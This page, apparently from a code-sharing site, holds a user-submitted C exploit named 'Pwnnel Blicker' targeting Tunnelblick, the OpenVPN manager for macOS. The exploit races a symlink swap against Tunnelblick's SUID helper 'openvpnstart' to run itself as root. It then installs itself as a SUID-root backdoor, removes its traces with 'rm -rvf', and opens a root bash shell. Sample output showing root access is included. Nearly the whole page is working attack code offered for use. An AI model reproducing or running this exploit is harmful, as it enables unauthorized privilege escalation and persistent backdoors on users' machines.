Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  local
Language: C/C++
Code:
/*
 * ==== Pwnnel Blicker ====
 * =                      =
 * =        zx2c4         =
 * =                      =
 * ========================
 *
 * Tunnel Blick, a widely used OpenVPN manager for OSX
 * comes with a nice SUID executable that has more holes
 * than you care to count. It's a treasure chest of local
 * roots. I picked one that looked interesting, and here
 * we have Pwnnel Blicker.
 *
 * Tunnel Blick will run any executable that has 744
 * permissions and is owned by root:root. Probably we
 * could find a way to exploit an already existing 744
 * executable, but this would be too easy. So instead, we
 * take advantage of a race condition between checking the
 * file permissions on the executable and actually running
 * it.
 *
 * Usage:
 * $ ./a.out
 * [+] Creating vulnerable directory.
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
 * [+] Writing pid and executing vulnerable program.
 * [+] Running toggler.
 * [+] Making backdoor.
 * [+] Cleaning up.
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid
 * [+] Complete. Run this again to get root.
 * Killed: 9
 *
 * $ ./a.out
 * [+] Getting root.
 * # whoami
 * root
 *
 */
 
 
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/stat.h>
 
int main(int argc, char *argv[])
{
    char dir[512];
    char script[512];
    char command[512];
    char pid_file[512];
    char path[512];
    char self[512];
    uint32_t size;
    pid_t pid, pid2;
    FILE *file;
     
    snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME"));
    snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir);
 
    /* Oh god, do I miss /proc/self/exe. */
    if (getenv("PWNPATH"))
        strcpy(self, getenv("PWNPATH"));
    else {
        size = sizeof(path);
        _NSGetExecutablePath(path, &size);
        realpath(path, self);
        setenv("PWNPATH", self, 1);
    }
 
    if (!geteuid()) {
        file = fopen(pid_file, "r");
        if (file) {
            printf("[+] Making backdoor.n");
            chown(self, 0, 0);
            chmod(self, S_ISUID | S_IXOTH);
 
            printf("[+] Cleaning up.n");
            fscanf(file, "%d %d", &pid, &pid2);
            fclose(file);
            snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir);
            system(command);
         
            printf("[+] Complete. Run this again to get root.n");
            kill(pid2, 9);
            kill(pid, 9);
            return 0;
        }
        printf("[+] Getting root.n");
        setuid(0);
        setgid(0);
        execl("/bin/bash", "bash", NULL);
    }
 
 
    printf("[+] Creating vulnerable directory.n");
    snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir);
    system(command);
 
    pid = fork();
    if (!pid) {
        printf("[+] Running toggler.n");
        snprintf(script, sizeof(script), "%s/connected.sh", dir);
        for (;;) {
            unlink(script);
            symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script);
            unlink(script);
            symlink(self, script);
        }
    } else {
        printf("[+] Writing pid and executing vulnerable program.n");
        file = fopen(pid_file, "w");
        fprintf(file, "%d %d", pid, getpid());
        fclose(file);
        for (;;) {
            if (fork())
                wait(NULL);
            else {
                close(0);
                close(2);
                execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL);
            }
        }
    }
 
    return 0;  
}

          
          
Comments: